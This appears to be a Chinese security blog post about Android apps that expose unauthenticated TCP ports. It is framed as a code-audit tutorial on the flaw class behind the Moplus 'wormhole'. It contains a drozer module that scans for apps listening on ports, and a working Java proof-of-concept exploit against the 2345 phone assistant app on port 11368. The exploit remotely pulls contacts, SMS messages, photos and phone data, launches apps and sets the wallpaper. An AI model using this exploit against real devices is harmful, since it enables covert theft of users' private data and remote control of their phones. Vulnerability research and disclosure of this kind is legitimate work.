0x00 前言
前段时间爆出了百度moplus sdk的一个被称为虫洞的漏洞,它被植入到14000款app当中,使这些app躺着也中枪,间接成为了这个虫洞的帮凶。这个案例再次提醒我们,木桶理论适用于产品的安全,任何一处的短板都会使千里之堤毁于蚁穴,sdk的安全也会直接影响着产品的安全。出现这种后台漏洞的根本原因是错用ServerSocket代替了LocalServerSocket,可能设计的初衷是为了给其它app提供接口或者其它一些业务逻辑。根据笔者多年的代码审计经验,这类漏洞存在于app以及一些sdk中的概率占的比例比我们想象的高。授人以鱼不如授人以渔,接下来我们以2345手机助手讲解下这类漏洞的快速发现和利用。
0x01 发现
这里编写drozer的一个扫描模块来发现这类的问题,很方便,代码如下:
from drozer.modules import Module,common
import re
class findport(Module,common.Shell):
name = "findport"
description = "find open port in android"
examples = "run exp.work.findport"
date = "2015-10-08"
license = "GPL"
path = ["exp","work"]
def toHexPort(self,port):
hexport = str(hex(int(port)))
return hexport.strip('0x').upper()
def finduid(self,protocol, entry):
if (protocol=='tcp' or protocol=='tcp6'):
uid = entry.split()[-10]
else: # udp or udp6
uid = entry.split()[-6]
try:
uid = int(uid)
except:
return -1
if (uid > 10000): # just for non-system app
return 'u0_a'+str(uid-10000)
else:
return -1
def execute(self, arguments):
proc_net = "/proc/net/"
ret = self.shellExec("netstat -anp | grep -Ei 'listen|udp*'")
list_line = ret.split('\n')
apps = []
strip_listline = []
#pattern = re.compile("^Proto") # omit the first line
for line in list_line:
if (line != ''):
socket_entry = line.split()
protocol = socket_entry[0]
port = socket_entry[3].split(':')[-1]
grep_appid = 'grep '+ self.toHexPort(port) + ' ' + proc_net + protocol
net_entry = self.shellExec(grep_appid)
uid = self.finduid(protocol, net_entry)
if (uid == -1):
continue
applist = self.shellExec('ps | grep ' + uid).split()
app = applist[8]
apps.append(app)
strip_listline.append(line)
itapp= iter(apps)
itline=iter(strip_listline)
self.stdout.write("Proto Recv-Q Send-Q Local Address Foreign Address State APP\r\n")
try:
while True:
self.stdout.write( itline.next() + ' '*10 + itapp.next() + '\n')
except StopIteration:
pass
self.stdout.write('\n')
安装模块后,扫描结果如下:
0x02 利用
可以看到2345手机助手(包名为com.market2345)监听了两个tcp端口,这里以11368为例,我们用IDA打开该APK的dex,x快捷键查看ServerSocket的交叉应用,经过分析后迅速锁定到逻辑代码如下:
通过逆向分析之后,可以知道该端口采用google的GSON库通信的,从上图中可以看出来,我们通过利用这个后门漏洞可以远程获取删除联系人,远程设置桌面,获取图片,远程安装apk等等,具体的POC代码我已经写好,主要代码如下:
package com.parker.poc;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicLong;
import android.graphics.Bitmap;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.Message;
import android.util.Log;
import com.parker.poc.model.CommandModel01;
import com.parker.poc.model.CommandModel05;
import com.parker.poc.model.CommandModel11;
import com.parker.poc.model.IconCollation;
import com.parker.poc.model.IconInfo;
import com.parker.poc.model.PhoneData;
import com.parker.poc.model.SMSOperationCommandModel;
import com.parker.poc.model.StartOtherAppCommandModel;
import com.parker.poc.packet.Packet;
import com.parker.poc.util.UnionUtils;
public class Poc extends HandlerThread {
private static final String TAG = Poc.class.getName();
public static final int VulcanPort = 11368;
private Socket mSocket;
private String mIp;
private int mPort;
private PocHandler mHandler;
private AtomicBoolean mPrepared = new AtomicBoolean(false);
private Set<PocCallback> mCallbackSet = Collections
.synchronizedSet(new HashSet<PocCallback>());
private AtomicLong mTimeout = new AtomicLong(5000);
private final class PocHandler extends Handler {
public PocHandler(Looper looper) {
super(looper);
}
@Override
public void handleMessage(Message msg) {
Log.v(TAG, "handleMessage:" + PocMsg.code2String(msg.what));
try {
connect();
} catch (IOException e) {
Log.e(TAG, "can not connect to " + mIp + ":" + mPort, e);
PocMsg pocMsg = new PocMsg();
pocMsg.status = PocMsg.STATUS_CONNECT_ERROR;
pocMsg.msgType = msg.what;
pocMsg.poc= Poc.this;
pocMsg.packet = null;
sendToCallback(pocMsg);
return;
}
Packet sendPacket = new Packet(msg.what, msg.obj);
Log.i(TAG, "begein to send packet:" + sendPacket.toString());
try {
long b = System.currentTimeMillis();
Packet recvPacket = sendRecv(sendPacket);
Log.i(TAG,
String.format("cost %d ms,recv packet:%s",
System.currentTimeMillis() - b,
recvPacket.toString()));
PocMsg pocMsg = new PocMsg();
pocMsg.status = PocMsg.STATUS_SUCCESS;
pocMsg.msgType = msg.what;
pocMsg.packet = recvPacket;
pocMsg.poc = Poc.this;
sendToCallback(pocMsg);
} catch (Throwable e) {
PocMsg pocMsg = new PocMsg();
pocMsg.status = PocMsg.STATUS_SEND_RECV_ERROR;
pocMsg.msgType = msg.what;
pocMsg.packet = null;
pocMsg.poc = Poc.this;
sendToCallback(pocMsg);
Log.e(TAG, "sendRecv" , e);
}
}
}
private void connect() throws IOException {
if (this.mSocket != null) {
this.mSocket.close();
this.mSocket = null;
}
this.mSocket = new Socket();
this.mSocket.connect(new InetSocketAddress(mIp, mPort));
this.mSocket.setTcpNoDelay(true);
this.mSocket.setSoTimeout((int) this.getTimeout());
}
@Override
protected void onLooperPrepared() {
mHandler = new PocHandler(this.getLooper());
mPrepared.set(true);
}
public Poc(String ip, int port) {
super(ip);
this.mIp = ip;
this.mPort = port;
//this.start();
}
public boolean fetch(int cmd, Object obj) {
if (isPrepared()) {
Message msg = this.mHandler.obtainMessage();
msg.what = cmd;
msg.obj = obj;
return this.mHandler.sendMessage(msg);
} else {
return false;
}
}
public void setTimeout(long timeout) {
this.mTimeout.set(timeout);
}
public long getTimeout() {
return this.mTimeout.get();
}
public boolean fetchVersionCode() {
return this.fetch(PocMsg.MSG_FETCH_VERSION_CODE, null);
}
public boolean fetchAllContacts() {
return this.fetch(PocMsg.MSG_FETCH_ALL_CONTACTS, null);
}
public boolean fetchMusicInfo() {
return this.fetch(PocMsg.MSG_FETCH_MUSIC_INFO, null);
}
public boolean downloadImages(int ids[]) {
if (ids == null && ids.length <= 0)
return false;
IconCollation model = new IconCollation();
for (int i = 0; i < ids.length; i++) {
IconInfo iconInfo = new IconInfo();
iconInfo.id = ids[i];
model.idList.add(iconInfo);
}
return this.fetch(PocMsg.MSG_FETCH_IMAGES, model);
}
public boolean fetchPhoneData() {
return this.fetch(PocMsg.MSG_FETCH_PHONE_DATA, null);
}
public boolean startOtherApp(StartOtherAppCommandModel model) {
return this.fetch(PocMsg.MSG_START_OTHER_APP, model);
}
public boolean fetchAllSMS() {
SMSOperationCommandModel smsModel = new SMSOperationCommandModel();
smsModel.command = "getall";
return this.operateSMS(smsModel);
}
public boolean operateSMS(SMSOperationCommandModel model) {
return this.fetch(PocMsg.MSG_OPERATE_SMS, model);
}
/*
* @param type 可以是0 = "DCIM",1 = wallpaper,2 = other
*/
public boolean fetchImagesByType(int type) {
CommandModel05 model = new CommandModel05();
model.fileType = type;
return this.fetch(PocMsg.MSG_FETCH_FILE_BY_TYPE, model);
}
/*
* @param infoType 可以是"update"或者其他,"update"代表获取更新列表 , 其它值是获取安装应用列表
*/
public boolean fetchAppsInfos(String infoType) {
CommandModel01 model = new CommandModel01();
model.command = infoType;
return this.fetch(PocMsg.MSG_FETCH_APPS_INFOS, model);
}
public boolean setWallPaper(String filePath) {
CommandModel11 model = new CommandModel11();
model.path = filePath;
return this.fetch(PocMsg.MSG_SET_WALLPAPER, model);
}
public boolean isPrepared() {
return this.mPrepared.get();
}
public String getIp() {
return this.mIp;
}
public int getPort() {
return this.mPort;
}
protected void sendToCallback(PocMsg pocMsg) {
for (PocCallback callback : mCallbackSet) {
callback.onCallback(pocMsg);
}
}
public boolean registerCallback(PocCallback callback) {
return this.mCallbackSet.add(callback);
}
public boolean unregisterCallback(PocCallback callback) {
return this.mCallbackSet.remove(callback);
}
private synchronized byte[] sendRecv(byte[] buf) throws Throwable {
BufferedOutputStream bos = new BufferedOutputStream(
mSocket.getOutputStream());
bos.write(buf);
bos.flush();
BufferedInputStream bis = new BufferedInputStream(
mSocket.getInputStream());
byte cmd[] = new byte[4];
int len = UnionUtils.readFullLength(cmd.length, bis, cmd);
if (len != cmd.length) {
throw new IOException("len != cmd.length");
}
byte datalen[] = new byte[4];
len = UnionUtils.readFullLength(datalen.length, bis, datalen);
if (len != datalen.length) {
throw new IOException("len != datalen.length");
}
int icmd = UnionUtils.byteArrayToInt(cmd, 0);
int idatalen = UnionUtils.byteArrayToInt(datalen, 0);
byte data[] = null;
if (icmd == PocMsg.MSG_FETCH_IMAGES) {
CommandHandler cmdHandler = new CommandHandler();
cmdHandler.handle(bis);
data = cmdHandler.getBytes();
} else {
data = new byte[idatalen];
}
len = UnionUtils.readFullLength(idatalen, bis, data);
return UnionUtils.bytesMerger(UnionUtils.bytesMerger(cmd, datalen),
data);
}
private Packet sendRecv(Packet packet) throws Throwable {
byte sendBuf[] = packet.build();
return Packet.parsePacket(sendRecv(sendBuf));
}
/* @Override
public boolean equals(Object o) {
if (this == o)
{
return true;
}
if (o == null || !(o instanceof Poc))
{
return false;
}
if (((Poc)o).getIp().equals(this.getIp()) && ((Poc)o).getPort() == this.getPort())
{
return true;
}
else
{
return false;
}
}
@Override
public int hashCode() {
return 12;
}
*/
private PhoneData phoneData;
public PhoneData getPhoneData() {
return phoneData;
}
public void setPhoneData(PhoneData phoneData) {
this.phoneData = phoneData;
}
}
详细见源码: http://download.csdn.net/detail/autohacker/9488480
0x03 总结
这种漏洞的审计没有特别多的奇淫怪招,锻炼的是逆向能力,但也是代码审计过程中不可忽视的一环,由于平时比较忙,很少写技术blog,能用代码说明问题的一般不会写文字,以后看来还是多写点技术博客,毕竟展示自己也是一种能力嘛:)